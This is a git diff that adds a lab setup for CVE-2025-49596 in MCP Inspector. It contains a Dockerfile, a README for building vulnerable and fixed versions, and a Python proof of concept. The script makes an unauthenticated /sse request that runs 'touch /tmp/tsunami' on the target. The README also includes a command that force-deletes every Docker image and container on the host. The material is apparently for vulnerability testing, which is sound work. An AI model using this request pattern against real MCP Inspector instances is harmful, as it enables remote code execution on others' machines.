diff --git a/mcp-inspector/CVE-2025-49596/Dockerfile b/mcp-inspector/CVE-2025-49596/Dockerfile new file mode 100644 index 00000000..807c922d --- /dev/null +++ b/mcp-inspector/CVE-2025-49596/Dockerfile @@ -0,0 +1,54 @@ +# Build stage +FROM node:24-slim AS builder + +# Set working directory +WORKDIR /app + +# Copy package files for installation +COPY package*.json ./ +COPY .npmrc ./ +COPY client/package*.json ./client/ +COPY server/package*.json ./server/ +COPY cli/package*.json ./cli/ + +# Install dependencies +RUN npm ci --ignore-scripts + +# Copy source files +COPY . . + +# Build the application +RUN npm run build + +# Production stage +FROM node:24-slim + +WORKDIR /app + +# Copy package files for production +COPY package*.json ./ +COPY .npmrc ./ +COPY client/package*.json ./client/ +COPY server/package*.json ./server/ +COPY cli/package*.json ./cli/ + +# Install only production dependencies +RUN npm ci --omit=dev --ignore-scripts + +RUN apt-get update && apt-get -y install curl + +# Copy built files from builder stage +COPY --from=builder /app/client/dist ./client/dist +COPY --from=builder /app/client/bin ./client/bin +COPY --from=builder /app/server/build ./server/build +COPY --from=builder /app/cli/build ./cli/build + +# Set default port values as environment variables +ENV CLIENT_PORT=6274 +ENV SERVER_PORT=6277 + +# Document which ports the application uses internally +EXPOSE ${CLIENT_PORT} ${SERVER_PORT} + +# Use ENTRYPOINT with CMD for arguments +ENTRYPOINT ["npm", "start"] diff --git a/mcp-inspector/CVE-2025-49596/README.md b/mcp-inspector/CVE-2025-49596/README.md new file mode 100644 index 00000000..f597ca71 --- /dev/null +++ b/mcp-inspector/CVE-2025-49596/README.md @@ -0,0 +1,44 @@ +# MCP Inspector CVE-2025-49596 + +This directory contains the deployment config for MCP Inspector instances vulnerable and fixed to CVE-2025-49596. MCP Inspector versions below 0.14.1 are vulnerable to that remote code execution vulnerability. + +## How to Trigger the Vulnerability? + +To trigger the vulnerability, you can use the following provided Python Script called inspectorExp.py. After the docker setup, provided script will send the related GET request. In a vulnerable environment, after the Python script, you can see the created file named tsunami under the /tmp/ directory of the running container. + +Python code: + +```sh +# Run above Python script to trigger the file creation. +python inspectorExp.py +``` + +In case you cannot trigger the vulnerability, you might need to delete your existing container images because Docker might try to reuse them. + +```sh +sudo docker rmi -f $(sudo docker images -aq) +sudo docker remove $(sudo docker ps -a -q) +``` + + +## Fixed version +```sh +git clone https://github.com/modelcontextprotocol/inspector.git +cd inspector && git checkout 0.16.3 +cp ../Dockerfile . +docker build --tag inspector-fixed . +docker run --network host inspector-fixed +``` + +The vulnerability-related service listens on `localhost:6277` after the docker completes its job. + +## Vulnerable version +```sh +git clone https://github.com/modelcontextprotocol/inspector.git +cd inspector && git checkout 0.14.0 +cp ../Dockerfile . +docker build --tag inspector-vuln . +docker run --network host inspector-vuln +``` + +The vulnerability-related service listens on `localhost:6277` after the docker completes its job. diff --git a/mcp-inspector/CVE-2025-49596/inspectorExp.py b/mcp-inspector/CVE-2025-49596/inspectorExp.py new file mode 100644 index 00000000..18a5297e --- /dev/null +++ b/mcp-inspector/CVE-2025-49596/inspectorExp.py @@ -0,0 +1,33 @@ +import requests +import sys + +def check_mcp_inspector(host="localhost", port=6277): + url = f"http://{host}:{port}/sse" + params = { + "transportType": "stdio", + "command": "touch", + "args": "/tmp/tsunami" + } + + print(f"[*] Checking {url} for CVE‑2025‑49596...") + try: + response = requests.get(url, params=params, timeout=5) + if response.status_code == 200: + print("[+] MCP Inspector responded without auth token!") + print("[!] This host is likely vulnerable to CVE‑2025‑49596.") + print(f"Response: {response.text[:200]}...") + elif response.status_code == 401: + print("[-] Auth token required. Likely patched version (v0.14.1+).") + else: + print(f"[-] Unexpected response: {response.status_code}") + except requests.exceptions.ConnectionError: + print("[-] Could not connect. MCP Inspector may not be running.") + except requests.exceptions.Timeout: + print("[-] Connection timed out.") + except Exception as e: + print(f"[-] Error: {e}") + +if __name__ == "__main__": + target_host = sys.argv[1] if len(sys.argv) > 1 else "localhost" + check_mcp_inspector(target_host) +